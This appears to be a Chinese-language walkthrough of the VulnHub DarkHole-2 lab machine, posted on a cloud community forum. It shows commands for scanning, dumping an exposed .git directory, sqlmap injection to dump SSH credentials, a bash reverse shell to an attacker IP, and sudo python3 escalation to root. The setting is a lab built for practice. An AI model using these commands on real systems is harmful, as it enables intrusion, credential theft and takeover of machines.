VulnHub-DarkHole-2 Walkthrough WP

举报
亿人安全 发表于 2023/05/30 10:56:34 2023/05/30
【摘要】 声明本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。靶场信息:地址:https://www.vulnhub.com/entry/darkhole-2,740/ 发布日期:2021 年 9 月 3 日 难度:难 目标:获得root权限运行:VMware提示:不要为 Brute-Force 浪费时间一、信息收集1 获取...

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

靶场信息:

地址:https://www.vulnhub.com/entry/darkhole-2,740/ 发布日期:2021 年 9 月 3 日 难度:难 目标:获得root权限

运行:VMware

提示:不要为 Brute-Force 浪费时间

一、信息收集

1 获取靶机ip

netdiscover -r 10.0.1.0/24 -i eth0

得到ip地址:10.0.1.4

图片image-20211024161617081

2 访问靶机

http://10.0.1.4/

image-20211024190651022

3 开放端口服务信息获取

nmap -v -T4 -p- -A -oN nmap.log 10.0.1.4

得到信息(存在.git泄露):

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   10.0.1.4:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2

注意这里的80端口服务中扫描到.Git信息,可以利用.git信息泄露漏洞获取源码

8585端口安装有gitea web应用

4 目录扫描

dirsearch -u http://10.0.1.3/

图片image-20211024141931082

gobuster dir -u http://10.0.1.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

图片image-20211024141953029

二、漏洞探测+利用

1. 获取源码方法1

使用 wget 和 git

wget递归下载所有文件
wget -r http://192.168.19.137/.git

这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。

图片image-20211024174706062

按如下方式克隆它。

git clone . webapp

这将创建一个 git 存储库“webapp”,我们可以在其中执行所有 git 操作。

图片image-20211024174748344

在 login.php 页面上,我们看到了登录逻辑。

图片image-20211024174856663

显示的部分正在清理输入。因此,我们无法执行 SQL 注入。但是,当我检查 git 日志时,我们会在同一个地方看到凭据。

执行

git log

图片image-20211024174945812

git 日志中,我们看到作者在第二次提交时添加了默认凭据。因此,让我们将 HEAD 切换到该提交。

git checkout a4d9
cat login.php

图片image-20211024175114798

lush@admin.com/321

现在,我们可以看到 ID 为 1 的用户的凭据。我们现在可以轻松登录 Web 应用程序

图片image-20211024175406805

2.获取源码方法2

使用 GitTools工具

https://github.com/internetwache/GitTools

共有三种工具,我将使用其中的两种。

将.git目录转储到目录gitdump。
./Dumper/gitdumper.sh http://10.0.1.4/.git/ gitdump

图片image-20211024175822528

将提取源代码并按照提交进行组织
./Extractor/extractor.sh . .

图片image-20211024175906187图片image-20211024175931653

这样,我们就可以从 .git 目录中获取源代码了。

其余的和之前的一样。唯一的区别是它将所有内容转储到单独的目录中。

图片image-20211024180133241

2.SQL注入

URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。

id=null时,数据为空

图片image-20211024180328913

单引号

图片image-20211024180424062

sqlmap跑一下

将请求包保存到文件,

sqlmap -r sql3 -p id --random-agent

存在union注入

图片image-20211024180646822

判断权限为DBA

图片image-20211024180726764

os-shell失败,不知道网站路径

前面git找到数据库的库名是darkhole_2

图片image-20211024181636505

用sqlmap跑这个库看看有什么表

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U --current-db

图片image-20211024181729918

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 --tables

图片image-20211024181756132

ssh这个表应该有问题,看列名

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --columns

图片image-20211024181927969

3.得到ssh用户名密码

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --dump

图片image-20211024182033773

+----+------+--------+
| id | pass | user   |
+----+------+--------+
| 1  | fool | jehad  |
+----+------+--------+

ssh登录

ssh jehad@10.0.1.4

图片image-20211024182739700

4.发现命令执行

查看jehad用户的命令记录

cat .bash_history

发现命令执行

图片image-20211024183147660

试一下果然能行,是losy用户的权限

curl "http://127.0.0.1:9999/?cmd=id"

图片image-20211024183209010

5.获取losy用户shell

将反弹shell的文件下载到/tmp路径,kali的ip是10.0.1.12

#!/bin/bash
bash -i >& /dev/tcp/10.0.1.12/6666 0>&1

图片image-20211024184728185图片image-20211024184752397

curl "http://127.0.0.1:9999/?cmd=bash%20/tmp/shell"

图片image-20211024184819008

6.user.txt

图片image-20211024184856738

7.获取losy密码

再次查看历史记录,发现losy密码是gang

图片image-20211024185117045

成功连接ssh

图片image-20211024185156858

查看losy用户的sudo权限(jehad用户无法使用sudo)

可以使用python3

image-20211024185636798

三、权限提升

1.获取root权限

sudo python3 -c 'import os; os.system("/bin/sh")'

图片image-20211024185736417

2.获取root flag

DarkHole{'Legend'}

总结

这台靶机难度定义的是难,但也不难,比第一个难一点点。我翻了一下网上的教程,他们居然没看历史命令记录,好吧,这可能是出题人忘记删掉了,但难度还行吧。命令记录会保留一个crontab的计划任务,这用LinEnum脚本很容易发现,然后就是通过查看源码发现命令执行的web服务,进行反弹shell得到losy的shell,在历史记录中发现losy的密码,登上去ssh,查看sudo即可使用python3获取root权限。

参考

https://nepcodex.com/2021/09/darkhole_2-walkthrough-vulnhub-writeup/

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。